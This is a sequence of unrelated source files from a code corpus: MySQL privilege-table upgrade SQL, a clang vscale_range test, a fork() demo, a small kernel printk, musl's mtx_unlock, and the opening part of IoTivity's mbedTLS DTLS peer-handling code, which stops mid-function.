"UPDATE db SET Create_routine_priv=Create_priv, Alter_routine_priv=Alter_priv, Execute_priv=Select_priv where user<>\"\" AND @hadCreateRoutinePriv = 0;\n "
"UPDATE host SET Create_routine_priv=Create_priv, Alter_routine_priv=Alter_priv, Execute_priv=Select_priv where @hadCreateRoutinePriv = 0;\n "
"\n "
"#\n "
"# Add max_user_connections resource limit\n "
"#\n "
"ALTER TABLE user ADD max_user_connections int(11) unsigned DEFAULT '0' NOT NULL AFTER max_connections;\n "
"\n "
"#\n "
"# user.Create_user_priv\n "
"#\n "
"\n "
"SET @hadCreateUserPriv:=0;\n "
"SELECT @hadCreateUserPriv:=1 FROM user WHERE Create_user_priv LIKE '%';\n "
"\n "
"ALTER TABLE user ADD Create_user_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Alter_routine_priv;\n "
"ALTER TABLE user MODIFY Create_user_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Alter_routine_priv;\n "
"UPDATE user LEFT JOIN db USING (Host,User) SET Create_user_priv='Y'\n "
" WHERE @hadCreateUserPriv = 0 AND\n "
" (user.Grant_priv = 'Y' OR db.Grant_priv = 'Y');\n "
"\n "
"#\n "
"# procs_priv\n "
"#\n "
"\n "
"ALTER TABLE procs_priv\n "
" ENGINE=MyISAM,\n "
" CONVERT TO CHARACTER SET utf8 COLLATE utf8_bin;\n "
"\n "
"ALTER TABLE procs_priv\n "
" MODIFY Proc_priv set('Execute','Alter Routine','Grant')\n "
" COLLATE utf8_general_ci DEFAULT '' NOT NULL;\n "
"\n "
"ALTER IGNORE TABLE procs_priv\n "
" MODIFY Routine_name char(64)\n "
" COLLATE utf8_general_ci DEFAULT '' NOT NULL;\n "
"\n "
"ALTER TABLE procs_priv\n "
" ADD Routine_type enum('FUNCTION','PROCEDURE')\n "
" COLLATE utf8_general_ci NOT NULL AFTER Routine_name;\n "
"\n "
"ALTER TABLE procs_priv\n "
" MODIFY Timestamp timestamp(14) AFTER Proc_priv;\n "
"\n "
"#\n "
"# proc\n "
"#\n "
"\n "
"# Correct the name fields to not binary, and expand sql_data_access\n "
"ALTER TABLE proc MODIFY name char(64) DEFAULT '' NOT NULL,\n "
" MODIFY specific_name char(64) DEFAULT '' NOT NULL,\n "
" MODIFY sql_data_access\n "
" enum('CONTAINS_SQL',\n "
" 'NO_SQL',\n "
" 'READS_SQL_DATA',\n "
" 'MODIFIES_SQL_DATA'\n "
" ) DEFAULT 'CONTAINS_SQL' NOT NULL,\n "
" MODIFY body longblob NOT NULL,\n "
" MODIFY returns longblob NOT NULL,\n "
" MODIFY sql_mode\n "
" set('REAL_AS_FLOAT',\n "
" 'PIPES_AS_CONCAT',\n "
" 'ANSI_QUOTES',\n "
" 'IGNORE_SPACE',\n "
" 'NOT_USED',\n "
" 'ONLY_FULL_GROUP_BY',\n "
" 'NO_UNSIGNED_SUBTRACTION',\n "
" 'NO_DIR_IN_CREATE',\n "
" 'POSTGRESQL',\n "
" 'ORACLE',\n "
" 'MSSQL',\n "
" 'DB2',\n "
" 'MAXDB',\n "
" 'NO_KEY_OPTIONS',\n "
" 'NO_TABLE_OPTIONS',\n "
" 'NO_FIELD_OPTIONS',\n "
" 'MYSQL323',\n "
" 'MYSQL40',\n "
" 'ANSI',\n "
" 'NO_AUTO_VALUE_ON_ZERO',\n "
" 'NO_BACKSLASH_ESCAPES',\n "
" 'STRICT_TRANS_TABLES',\n "
" 'STRICT_ALL_TABLES',\n "
" 'NO_ZERO_IN_DATE',\n "
" 'NO_ZERO_DATE',\n "
" 'INVALID_DATES',\n "
" 'ERROR_FOR_DIVISION_BY_ZERO',\n "
" 'TRADITIONAL',\n "
" 'NO_AUTO_CREATE_USER',\n "
" 'HIGH_NOT_PRECEDENCE',\n "
" 'NO_ENGINE_SUBSTITUTION',\n "
" 'PAD_CHAR_TO_FULL_LENGTH'\n "
" ) DEFAULT '' NOT NULL,\n "
" DEFAULT CHARACTER SET utf8;\n "
"\n "
"# Correct the character set and collation\n "
"ALTER TABLE proc CONVERT TO CHARACTER SET utf8;\n "
"# Reset some fields after the conversion\n "
"ALTER TABLE proc MODIFY db\n "
" char(64) collate utf8_bin DEFAULT '' NOT NULL,\n "
" MODIFY definer\n "
" char(77) collate utf8_bin DEFAULT '' NOT NULL,\n "
" MODIFY comment\n "
" char(64) collate utf8_bin DEFAULT '' NOT NULL;\n "
"\n "
"ALTER TABLE proc ADD character_set_client\n "
" char(32) collate utf8_bin DEFAULT NULL\n "
" AFTER comment;\n "
"ALTER TABLE proc MODIFY character_set_client\n "
" char(32) collate utf8_bin DEFAULT NULL;\n "
"\n "
"SELECT CASE WHEN COUNT(*) > 0 THEN \n "
"CONCAT (\"WARNING: NULL values of the 'character_set_client' column ('mysql.proc' table) have been updated with a default value (\", @@character_set_client, \"). Please verify if necessary.\")\n "
"ELSE NULL \n "
"END \n "
"AS value FROM proc WHERE character_set_client IS NULL;\n "
"\n "
"UPDATE proc SET character_set_client = @@character_set_client \n "
" WHERE character_set_client IS NULL;\n "
"\n "
"ALTER TABLE proc ADD collation_connection\n "
" char(32) collate utf8_bin DEFAULT NULL\n "
" AFTER character_set_client;\n "
"ALTER TABLE proc MODIFY collation_connection\n "
" char(32) collate utf8_bin DEFAULT NULL;\n "
"\n "
"SELECT CASE WHEN COUNT(*) > 0 THEN \n "
"CONCAT (\"WARNING: NULL values of the 'collation_connection' column ('mysql.proc' table) have been updated with a default value (\", @@collation_connection, \"). Please verify if necessary.\")\n "
"ELSE NULL \n "
"END \n "
"AS value FROM proc WHERE collation_connection IS NULL;\n "
"\n "
"UPDATE proc SET collation_connection = @@collation_connection\n "
" WHERE collation_connection IS NULL;\n "
"\n "
"ALTER TABLE proc ADD db_collation\n "
" char(32) collate utf8_bin DEFAULT NULL\n "
" AFTER collation_connection;\n "
"ALTER TABLE proc MODIFY db_collation\n "
" char(32) collate utf8_bin DEFAULT NULL;\n "
"\n "
"SELECT CASE WHEN COUNT(*) > 0 THEN \n "
"CONCAT (\"WARNING: NULL values of the 'db_collation' column ('mysql.proc' table) have been updated with default values. Please verify if necessary.\")\n "
"ELSE NULL\n "
"END\n "
"AS value FROM proc WHERE db_collation IS NULL;\n "
"\n "
"UPDATE proc AS p SET db_collation = \n "
" ( SELECT DEFAULT_COLLATION_NAME \n "
" FROM INFORMATION_SCHEMA.SCHEMATA \n "
" WHERE SCHEMA_NAME = p.db)\n "
" WHERE db_collation IS NULL;\n "
"\n "
"ALTER TABLE proc ADD body_utf8 longblob DEFAULT NULL\n "
" AFTER db_collation;\n "
"ALTER TABLE proc MODIFY body_utf8 longblob DEFAULT NULL;\n "
"\n "
"\n "
"#\n "
"# EVENT privilege\n "
"#\n "
"SET @hadEventPriv := 0;\n "
"SELECT @hadEventPriv :=1 FROM user WHERE Event_priv LIKE '%';\n "
"\n "
"ALTER TABLE user add Event_priv enum('N','Y') character set utf8 DEFAULT 'N' NOT NULL AFTER Create_user_priv;\n "
"ALTER TABLE user MODIFY Event_priv enum('N','Y') character set utf8 DEFAULT 'N' NOT NULL AFTER Create_user_priv;\n "
"\n "
"UPDATE user SET Event_priv=Super_priv WHERE @hadEventPriv = 0;\n "
"\n "
"ALTER TABLE db add Event_priv enum('N','Y') character set utf8 DEFAULT 'N' NOT NULL;\n "
"ALTER TABLE db MODIFY Event_priv enum('N','Y') character set utf8 DEFAULT 'N' NOT NULL;\n "
"\n "
"#\n "
"# EVENT table\n "
"#\n "
"ALTER TABLE event DROP PRIMARY KEY;\n "
"ALTER TABLE event ADD PRIMARY KEY(db, name);\n "
"# Add sql_mode column just in case.\n "
"ALTER TABLE event ADD sql_mode set ('NOT_USED') AFTER on_completion;\n "
"# Update list of sql_mode values.\n "
"ALTER TABLE event MODIFY sql_mode\n "
" set('REAL_AS_FLOAT',\n "
" 'PIPES_AS_CONCAT',\n "
" 'ANSI_QUOTES',\n "
" 'IGNORE_SPACE',\n "
" 'NOT_USED',\n "
" 'ONLY_FULL_GROUP_BY',\n "
" 'NO_UNSIGNED_SUBTRACTION',\n "
" 'NO_DIR_IN_CREATE',\n "
" 'POSTGRESQL',\n "
" 'ORACLE',\n "
" 'MSSQL',\n "
" 'DB2',\n "
" 'MAXDB',\n "
" 'NO_KEY_OPTIONS',\n "
" 'NO_TABLE_OPTIONS',\n "
" 'NO_FIELD_OPTIONS',\n "
" 'MYSQL323',\n "
" 'MYSQL40',\n "
" 'ANSI',\n "
" 'NO_AUTO_VALUE_ON_ZERO',\n "
" 'NO_BACKSLASH_ESCAPES',\n "
" 'STRICT_TRANS_TABLES',\n "
" 'STRICT_ALL_TABLES',\n "
" 'NO_ZERO_IN_DATE',\n "
" 'NO_ZERO_DATE',\n "
" 'INVALID_DATES',\n "
" 'ERROR_FOR_DIVISION_BY_ZERO',\n "
" 'TRADITIONAL',\n "
" 'NO_AUTO_CREATE_USER',\n "
" 'HIGH_NOT_PRECEDENCE',\n "
" 'NO_ENGINE_SUBSTITUTION',\n "
" 'PAD_CHAR_TO_FULL_LENGTH'\n "
" ) DEFAULT '' NOT NULL AFTER on_completion;\n "
"ALTER TABLE event MODIFY name char(64) CHARACTER SET utf8 NOT NULL default '';\n "
"\n "
"ALTER TABLE event MODIFY COLUMN originator INT UNSIGNED NOT NULL;\n "
"ALTER TABLE event ADD COLUMN originator INT UNSIGNED NOT NULL AFTER comment;\n "
"\n "
"ALTER TABLE event MODIFY COLUMN status ENUM('ENABLED','DISABLED','SLAVESIDE_DISABLED') NOT NULL default 'ENABLED';\n "
"\n "
"ALTER TABLE event ADD COLUMN time_zone char(64) CHARACTER SET latin1\n "
" NOT NULL DEFAULT 'SYSTEM' AFTER originator;\n "
"\n "
"ALTER TABLE event ADD character_set_client\n "
" char(32) collate utf8_bin DEFAULT NULL\n "
" AFTER time_zone;\n "
"ALTER TABLE event MODIFY character_set_client\n "
" char(32) collate utf8_bin DEFAULT NULL;\n "
"\n "
"ALTER TABLE event ADD collation_connection\n "
" char(32) collate utf8_bin DEFAULT NULL\n "
" AFTER character_set_client;\n "
"ALTER TABLE event MODIFY collation_connection\n "
" char(32) collate utf8_bin DEFAULT NULL;\n "
"\n "
"ALTER TABLE event ADD db_collation\n "
" char(32) collate utf8_bin DEFAULT NULL\n "
" AFTER collation_connection;\n "
"ALTER TABLE event MODIFY db_collation\n "
" char(32) collate utf8_bin DEFAULT NULL;\n "
"\n "
"ALTER TABLE event ADD body_utf8 longblob DEFAULT NULL\n "
" AFTER db_collation;\n "
"ALTER TABLE event MODIFY body_utf8 longblob DEFAULT NULL;\n "
"\n "
"\n "
"#\n "
"# TRIGGER privilege\n "
"#\n "
"\n "
"SET @hadTriggerPriv := 0;\n "
"SELECT @hadTriggerPriv :=1 FROM user WHERE Trigger_priv LIKE '%';\n "
"\n "
"ALTER TABLE user ADD Trigger_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Event_priv;\n "
"ALTER TABLE user MODIFY Trigger_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Event_priv;\n "
"\n "
"ALTER TABLE host ADD Trigger_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL;\n "
"ALTER TABLE host MODIFY Trigger_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL;\n "
"\n "
"ALTER TABLE db ADD Trigger_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL;\n "
"ALTER TABLE db MODIFY Trigger_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL;\n "
"\n "
"UPDATE user SET Trigger_priv=Super_priv WHERE @hadTriggerPriv = 0;\n "
"\n "
"# Convering the host name to lower case for existing users\n "
"UPDATE user SET host=LOWER( host ) WHERE LOWER( host ) <> host;\n "
"\n "
"# Activate the new, possible modified privilege tables\n "
"# This should not be needed, but gives us some extra testing that the above\n "
"# changes was correct\n "
"\n "
"flush privileges;\n "
"\
"};
|
the_stack_data/170453865.c | // RUN: %clang_cc1 -triple aarch64-none-linux-gnu -target-feature +sve -mvscale-min=1 -mvscale-max=1 -S -emit-llvm -o - %s | FileCheck %s -D#VBITS=1
// RUN: %clang_cc1 -triple aarch64-none-linux-gnu -target-feature +sve -mvscale-min=2 -mvscale-max=2 -S -emit-llvm -o - %s | FileCheck %s -D#VBITS=2
// RUN: %clang_cc1 -triple aarch64-none-linux-gnu -target-feature +sve -mvscale-min=4 -mvscale-max=4 -S -emit-llvm -o - %s | FileCheck %s -D#VBITS=4
// RUN: %clang_cc1 -triple aarch64-none-linux-gnu -target-feature +sve -mvscale-min=8 -mvscale-max=8 -S -emit-llvm -o - %s | FileCheck %s -D#VBITS=8
// RUN: %clang_cc1 -triple aarch64-none-linux-gnu -target-feature +sve -mvscale-min=16 -mvscale-max=16 -S -emit-llvm -o - %s | FileCheck %s -D#VBITS=16
// RUN: %clang_cc1 -triple aarch64-none-linux-gnu -target-feature +sve2 -mvscale-min=1 -mvscale-max=1 -S -emit-llvm -o - %s | FileCheck %s -D#VBITS=1
// RUN: %clang_cc1 -triple aarch64-none-linux-gnu -target-feature +sve2 -mvscale-min=2 -mvscale-max=2 -S -emit-llvm -o - %s | FileCheck %s -D#VBITS=2
// RUN: %clang_cc1 -triple aarch64-none-linux-gnu -target-feature +sve -mvscale-min=1 -S -emit-llvm -o - %s | FileCheck %s -D#VBITS=1 --check-prefix=CHECK-NOMAX
// RUN: %clang_cc1 -triple aarch64-none-linux-gnu -target-feature +sve -mvscale-min=2 -S -emit-llvm -o - %s | FileCheck %s -D#VBITS=2 --check-prefix=CHECK-NOMAX
// RUN: %clang_cc1 -triple aarch64-none-linux-gnu -target-feature +sve -mvscale-min=4 -S -emit-llvm -o - %s | FileCheck %s -D#VBITS=4 --check-prefix=CHECK-NOMAX
// RUN: %clang_cc1 -triple aarch64-none-linux-gnu -target-feature +sve -mvscale-min=8 -S -emit-llvm -o - %s | FileCheck %s -D#VBITS=8 --check-prefix=CHECK-NOMAX
// RUN: %clang_cc1 -triple aarch64-none-linux-gnu -target-feature +sve -mvscale-min=16 -S -emit-llvm -o - %s | FileCheck %s -D#VBITS=16 --check-prefix=CHECK-NOMAX
// RUN: %clang_cc1 -triple aarch64-none-linux-gnu -target-feature +sve2 -mvscale-min=1 -mvscale-max=0 -S -emit-llvm -o - %s | FileCheck %s --check-prefix=CHECK-UNBOUNDED
// RUN: %clang_cc1 -triple aarch64-none-linux-gnu -target-feature +sve -mvscale-min=1 -mvscale-max=0 -S -emit-llvm -o - %s | FileCheck %s --check-prefix=CHECK-UNBOUNDED
// RUN: %clang_cc1 -triple aarch64-none-linux-gnu -target-feature +sve -S -emit-llvm -o - %s | FileCheck %s --check-prefix=CHECK-NONE
// CHECK-LABEL: @func() #0
// CHECK: attributes #0 = { {{.*}} vscale_range([[#VBITS]],[[#VBITS]]) {{.*}} }
// CHECK-NOMAX: attributes #0 = { {{.*}} vscale_range([[#VBITS]],0) {{.*}} }
// CHECK-UNBOUNDED: attributes #0 = { {{.*}} vscale_range(1,0) {{.*}} }
// CHECK-NONE: attributes #0 = { {{.*}} vscale_range(1,16) {{.*}} }
void func(void) {}
|
the_stack_data/150142360.c | /* creation of a process with fork() */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
fork();
fork();
// fork();
printf("hello\n");
return 0;
}
|
the_stack_data/154826812.c | /*
* printk.c
*
* Created on: 27 Dec 2019
* Author: wudi
*/
/*
* linux/kernel/printk.c
*
* (C) 1991 Linus Torvalds
*/
/*
* When in kernel-mode, we cannot use printf, as fs is liable to
* point to 'interesting' things. Make a printf with fs-saving, and
* all is well.
*/
#include <stdarg.h>
#include <stddef.h>
#include <linux/kernel.h>
static char buf[1024];
extern int vsprintf(char * buf, const char * fmt, va_list args);
int printk(const char *fmt, ...)
{
va_list args;
int i;
va_start(args, fmt);
i=vsprintf(buf,fmt,args);
va_end(args);
// 0 is for console write
tty_write(0, buf, i);
/*__asm__("push %%fs\n\t"
"push %%ds\n\t"
"pop %%fs\n\t"
"pushl %0\n\t"
"pushl $buf\n\t"
"pushl $0\n\t"
"call tty_write\n\t"
"addl $8,%%esp\n\t"
"popl %0\n\t"
"pop %%fs"
::"r" (i):"ax","cx","dx");*/
return i;
}
void printk_test() {
printk("%s\nconsole id is:%d\n", "this is debug information from kernel", -10 & 1023);
}
|
the_stack_data/212642367.c | #include <threads.h>
int __pthread_mutex_unlock(mtx_t *);
int mtx_unlock(mtx_t *mtx)
{
/* The only cases where pthread_mutex_unlock can return an
* error are undefined behavior for C11 mtx_unlock, so we can
* assume it does not return an error and simply tail call. */
return __pthread_mutex_unlock(mtx);
}
|
the_stack_data/130073.c | /*
// Copyright (c) 2018 Intel Corporation
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
*/
#ifdef OC_SECURITY
#include <stdarg.h>
#include <stdint.h>
#include <string.h>
#include "mbedtls/config.h"
#include "mbedtls/ctr_drbg.h"
#include "mbedtls/entropy.h"
#include "mbedtls/md.h"
#include "mbedtls/ssl.h"
#include "mbedtls/ssl_cookie.h"
#include "mbedtls/ssl_internal.h"
#include "mbedtls/timing.h"
#ifdef OC_DEBUG
#include "mbedtls/debug.h"
#include "mbedtls/error.h"
#endif /* OC_DEBUG */
#include "api/oc_events.h"
#include "config.h"
#include "oc_acl.h"
#include "oc_api.h"
#include "oc_buffer.h"
#include "oc_core_res.h"
#include "oc_cred.h"
#include "oc_endpoint.h"
#include "oc_pstat.h"
#include "oc_session_events.h"
#include "oc_svr.h"
#include "oc_tls.h"
OC_PROCESS(oc_tls_handler, "TLS Process");
OC_MEMB(tls_peers_s, oc_tls_peer_t, OC_MAX_TLS_PEERS);
OC_LIST(tls_peers);
static mbedtls_entropy_context entropy_ctx;
static mbedtls_ctr_drbg_context ctr_drbg_ctx;
static mbedtls_ssl_cookie_ctx cookie_ctx;
#ifdef OC_DYNAMIC_ALLOCATION
#include <stdlib.h>
static mbedtls_ssl_config *server_conf;
#ifdef OC_TCP
static mbedtls_ssl_config *server_conf_tls;
#endif /* OC_TCP */
#else /* OC_DYNAMIC_ALLOCATION */
#define MBEDTLS_ALLOC_BUF_SIZE (20000)
#ifdef OC_TCP
static mbedtls_ssl_config server_conf_tls[OC_MAX_NUM_DEVICES];
#endif /* OC_TCP */
static mbedtls_ssl_config server_conf[OC_MAX_NUM_DEVICES];
static unsigned char alloc_buf[MBEDTLS_ALLOC_BUF_SIZE];
#include "mbedtls/memory_buffer_alloc.h"
#endif /* !OC_DYNAMIC_ALLOCATION */
#ifdef OC_CLIENT
#ifdef OC_TCP
static mbedtls_ssl_config client_conf_tls[1];
#endif /* OC_TCP */
static mbedtls_ssl_config client_conf[1];
#endif /* OC_CLIENT */
#define PERSONALIZATION_STR "IoTivity-Constrained"
static const int ciphers[3] = {MBEDTLS_TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA256,
MBEDTLS_TLS_ECDH_ANON_WITH_AES_128_CBC_SHA256,
0};
#ifdef OC_CLIENT
static const int anon_ciphers[3] = {
MBEDTLS_TLS_ECDH_ANON_WITH_AES_128_CBC_SHA256,
MBEDTLS_TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA256, 0};
#endif /* OC_CLIENT */
#ifdef OC_DEBUG
static void
oc_mbedtls_debug(void *ctx, int level, const char *file, int line,
const char *str)
{
(void)ctx;
(void)level;
PRINT("mbedtls_log: %s:%04d: %s", file, line, str);
}
#endif /* OC_DEBUG */
static bool
is_peer_active(oc_tls_peer_t *peer)
{
oc_tls_peer_t *p = (oc_tls_peer_t *)oc_list_head(tls_peers);
while (p != NULL) {
if (p == peer) {
return true;
}
p = p->next;
}
return false;
}
static oc_event_callback_retval_t oc_tls_inactive(void *data);
static void
oc_tls_free_peer(oc_tls_peer_t *peer, bool inactivity_cb)
{
OC_DBG("\noc_tls: removing peer");
#ifdef OC_TCP
if (peer->endpoint.flags & TCP) {
oc_connectivity_end_session(&peer->endpoint);
} else
#endif /* OC_TCP */
{
oc_handle_session(&peer->endpoint, OC_SESSION_DISCONNECTED);
}
if (!inactivity_cb) {
oc_ri_remove_timed_event_callback(peer, oc_tls_inactive);
}
mbedtls_ssl_free(&peer->ssl_ctx);
oc_message_t *message = (oc_message_t *)oc_list_pop(peer->send_q);
while (message != NULL) {
oc_message_unref(message);
message = (oc_message_t *)oc_list_pop(peer->send_q);
}
message = (oc_message_t *)oc_list_pop(peer->recv_q);
while (message != NULL) {
oc_message_unref(message);
message = (oc_message_t *)oc_list_pop(peer->recv_q);
}
oc_etimer_stop(&peer->timer.fin_timer);
oc_list_remove(tls_peers, peer);
oc_memb_free(&tls_peers_s, peer);
}
static oc_tls_peer_t *
oc_tls_get_peer(oc_endpoint_t *endpoint)
{
oc_tls_peer_t *peer = oc_list_head(tls_peers);
while (peer != NULL) {
if (oc_endpoint_compare(&peer->endpoint, endpoint) == 0) {
return peer;
}
peer = peer->next;
}
return NULL;
}
void
oc_tls_remove_peer(oc_endpoint_t *endpoint)
{
oc_tls_peer_t *peer = oc_tls_get_peer(endpoint);
if (peer) {
oc_tls_free_peer(peer, false);
}
}
static void
oc_tls_handler_schedule_read(oc_tls_peer_t *peer)
{
oc_process_post(&oc_tls_handler, oc_events[TLS_READ_DECRYPTED_DATA], peer);
}
#ifdef OC_CLIENT
static void
oc_tls_handler_schedule_write(oc_tls_peer_t *peer)
{
oc_process_post(&oc_tls_handler, oc_events[TLS_WRITE_APPLICATION_DATA], peer);
}
#endif /* OC_CLIENT */
static oc_event_callback_retval_t
oc_tls_inactive(void *data)
{
OC_DBG("oc_tls: DTLS inactivity callback");
oc_tls_peer_t *peer = (oc_tls_peer_t *)data;
if (is_peer_active(peer)) {
oc_clock_time_t time = oc_clock_time();
time -= peer->timestamp;
if (time < (oc_clock_time_t)OC_DTLS_INACTIVITY_TIMEOUT *
(oc_clock_time_t)OC_CLOCK_SECOND) {
OC_DBG("oc_tls: Resetting DTLS inactivity callback");
return OC_EVENT_CONTINUE;
}
mbedtls_ssl_close_notify(&peer->ssl_ctx);
oc_tls_free_peer(peer, true);
}
OC_DBG("oc_tls: Terminating DTLS inactivity callback");
return OC_EVENT_DONE;
}
static int
ssl_recv(void *ctx, unsigned char *buf, size_t len)
{
oc_tls_peer_t *peer = (oc_tls_peer_t *)ctx;
oc_message_t *message = (oc_message_t *)oc_list_head(peer->recv_q);
if (message) {
size_t recv_len = 0;
#ifdef OC_TCP
if (message->endpoint.flags & TCP) {
recv_len = message->length - message->read_offset;
recv_len = (recv_len < len) ? recv_len : len;
memcpy(buf, message->data + message->read_offset, recv_len);
message->read_offset += recv_len;
if (message->read_offset == message->length) {
oc_list_remove(peer->recv_q, message);
oc_message_unref(message);
}
} else
#endif /* OC_TCP */
{
recv_len = (message->length < len) ? message->length : len;
memcpy(buf, message->data, recv_len);
oc_list_remove(peer->recv_q, message);
oc_message_unref(message);
}
return (int)recv_len;
}
return MBEDTLS_ERR_SSL_WANT_READ;
}
static int
ssl_send(void *ctx, const unsigned char *buf, size_t len)
{
oc_tls_peer_t *peer = (oc_tls_peer_t *)ctx;
peer->timestamp = oc_clock_time();
oc_message_t message;
#ifdef OC_DYNAMIC_ALLOCATION
message.data = malloc(OC_PDU_SIZE);
if (!message.data)
return 0;
#endif /* OC_DYNAMIC_ALLOCATION */
memcpy(&message.endpoint, &peer->endpoint, sizeof(oc_endpoint_t));
size_t send_len = (len < (unsigned)OC_PDU_SIZE) ? len : (unsigned)OC_PDU_SIZE;
memcpy(message.data, buf, send_len);
message.length = send_len;
int ret = oc_send_buffer(&message);
#ifdef OC_DYNAMIC_ALLOCATION
free(message.data);
#endif /* OC_DYNAMIC_ALLOCATION */
return ret;
}
static void
check_retr_timers(void)
{
oc_tls_peer_t *peer = (oc_tls_peer_t *)oc_list_head(tls_peers), *next;
while (peer != NULL) {
next = peer->next;
if (peer->ssl_ctx.state != MBEDTLS_SSL_HANDSHAKE_OVER) {
if (oc_etimer_expired(&peer->timer.fin_timer)) {
int ret = mbedtls_ssl_handshake(&peer->ssl_ctx);
if (ret == MBEDTLS_ERR_SSL_HELLO_VERIFY_REQUIRED) {
mbedtls_ssl_session_reset(&peer->ssl_ctx);
if (peer->role == MBEDTLS_SSL_IS_SERVER &&
mbedtls_ssl_set_client_transport_id(
&peer->ssl_ctx, (const unsigned char *)&peer->endpoint.addr,
sizeof(peer->endpoint.addr)) != 0) {
oc_tls_free_peer(peer, false);
peer = next;
continue;
}
}
if (ret < 0 && ret != MBEDTLS_ERR_SSL_WANT_READ &&
ret != MBEDTLS_ERR_SSL_WANT_WRITE) {
#ifdef OC_DEBUG
char buf[256];
mbedtls_strerror(ret, buf, 256);
OC_ERR("oc_tls: mbedtls_error: %s", buf);
#endif /* OC_DEBUG */
oc_tls_free_peer(peer, false);
}
}
}
peer = next;
}
}
static void
ssl_set_timer(void *ctx, uint32_t int_ms, uint32_t fin_ms)
{
if (fin_ms != 0) {
oc_tls_retr_timer_t *timer = (oc_tls_retr_timer_t *)ctx;
timer->int_ticks = (oc_clock_time_t)((int_ms * OC_CLOCK_SECOND) / 1.e03);
oc_etimer_stop(&timer->fin_timer);
timer->fin_timer.timer.interval =
(oc_clock_time_t)((fin_ms * OC_CLOCK_SECOND) / 1.e03);
OC_PROCESS_CONTEXT_BEGIN(&oc_tls_handler);
oc_etimer_restart(&timer->fin_timer);
OC_PROCESS_CONTEXT_END(&oc_tls_handler);
}
}
static int
get_psk_cb(void *data, mbedtls_ssl_context *ssl, const unsigned char *identity,
size_t identity_len)
{
(void)data;
(void)identity_len;
OC_DBG("oc_tls: In PSK callback");
oc_tls_peer_t *peer = oc_list_head(tls_peers);
while (peer != NULL) {
if (&peer->ssl_ctx == ssl) {
break;
}
peer = peer->next;
}
if (peer) {
OC_DBG("oc_tls: Found peer object");
oc_sec_cred_t *cred =
oc_sec_find_cred((oc_uuid_t *)identity, peer->endpoint.device);
if (cred) {
OC_DBG("oc_tls: Found peer credential");
memcpy(peer->uuid.id, identity, 16);
OC_DBG("oc_tls: Setting the key:");
OC_LOGbytes(cred->key, 16);
if (mbedtls_ssl_set_hs_psk(ssl, cred->key, 16) != 0) {
return -1;
}
OC_DBG("oc_tls: Set peer credential to SSL handle");
return 0;
}
}
return -1;
}
static int
ssl_get_timer(void *ctx)
{
oc_tls_retr_timer_t *timer = (oc_tls_retr_timer_t *)ctx;
if (timer->fin_timer.timer.interval == 0)
return -1;
if (oc_etimer_expired(&timer->fin_timer)) {
timer->fin_timer.timer.interval = 0;
timer->int_ticks = 0;
return 2;
} else if (oc_clock_time() >
(timer->fin_timer.timer.start + timer->int_ticks)) {
return 1;
}
return 0;
}
static oc_tls_peer_t *
oc_tls_add_peer(oc_endpoint_t *endpoint, int role)
{
oc_tls_peer_t *peer = oc_tls_get_peer(endpoint);
if (!peer) {
peer = oc_memb_alloc(&tls_peers_s);
if (peer) {
OC_DBG("oc_tls: Allocating new peer");
memcpy(&peer->endpoint, endpoint, sizeof(oc_endpoint_t));
OC_LIST_STRUCT_INIT(peer, recv_q);
OC_LIST_STRUCT_INIT(peer, send_q);
peer->next = 0;
peer->role = role;
memset(&peer->timer, 0, sizeof(oc_tls_retr_timer_t));
mbedtls_ssl_init(&peer->ssl_ctx);
mbedtls_ssl_config *conf = 0;
#ifdef OC_CLIENT
if (role == MBEDTLS_SSL_IS_CLIENT) {
if (endpoint->flags & TCP) {
#ifdef OC_TCP
OC_DBG("oc_tls: initializing TLS client");
conf = &client_conf_tls[0];
#endif /* OC_TCP */
} else {
OC_DBG("oc_tls: initializing DTLS client");
conf = &client_conf[0];
}
} else
#endif /* OC_CLIENT */
{
if (endpoint->flags & TCP) {
#ifdef OC_TCP
OC_DBG("oc_tls: initializing TLS server");
conf = &server_conf_tls[endpoint->device];
#endif /* OC_TCP */
} else {
OC_DBG("oc_tls: initializing DTLS server");
conf = &server_conf[endpoint->device];
}
}
int err = mbedtls_ssl_setup(&peer->ssl_ctx, conf);
if (err != 0) {
OC_ERR("oc_tls: error in mbedtls_ssl_setup: %d", err);
oc_memb_free(&tls_peers_s, peer);
return NULL;
}
mbedtls_ssl_set_bio(&peer->ssl_ctx, peer, ssl_send, ssl_recv, NULL);
if (role == MBEDTLS_SSL_IS_SERVER &&
mbedtls_ssl_set_client_transport_id(
&peer->ssl_ctx, (const unsigned char *)&endpoint->addr,
sizeof(endpoint->addr)) != 0) {
oc_memb_free(&tls_peers_s, peer);
return NULL;
}
oc_list_add(tls_peers, peer);
if (!(endpoint->flags & TCP)) {
mbedtls_ssl_set_timer_cb(&peer->ssl_ctx, &peer->timer, ssl_set_timer,
ssl_get_timer);
oc_ri_add_timed_event_callback_seconds(
peer, oc_tls_inactive, (oc_clock_time_t)OC_DTLS_INACTIVITY_TIMEOUT);
}
} else {
OC_WRN("TLS peers exhausted");
}
}
return peer;
}
void
oc_tls_shutdown(void)
{
oc_tls_peer_t *p = oc_list_pop(tls_peers);
while (p != NULL) {
oc_tls_free_peer(p, false);
p = oc_list_pop(tls_peers);
}
#ifdef OC_CLIENT
if (oc_core_get_num_devices() >= 1) {
mbedtls_ssl_config_free(client_conf);
#ifdef OC_TCP
mbedtls_ssl_config_free(client_conf_tls);
#endif /* OC_TCP */
}
#endif /* OC_CLIENT */
size_t device;
